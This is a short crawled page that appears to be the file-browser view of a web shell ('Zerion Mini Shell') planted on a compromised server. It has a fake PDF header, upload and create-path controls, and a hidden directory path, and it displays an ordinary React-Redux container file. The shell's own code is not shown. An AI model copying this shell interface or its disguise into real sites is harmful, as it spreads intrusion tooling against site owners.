%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/containers/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/containers/AppContainer.js

import { connect } from "react-redux";
import App from "components/App";

const mapStateToProps = (state) => {
  const go = new URLSearchParams(window.location.search).get("go");
  const country = new URLSearchParams(window.location.search).get("country");
  const isLoggedIn = state.user.get("isLoggedIn");
  return ({
    isRedirectToMigration: go === ".migration",
    countryCode: country || state.config.toJS().config.countryConstant,
    isLoggedIn,
  });
};

export default connect(mapStateToProps)(App);

Zerion Mini Shell 1.0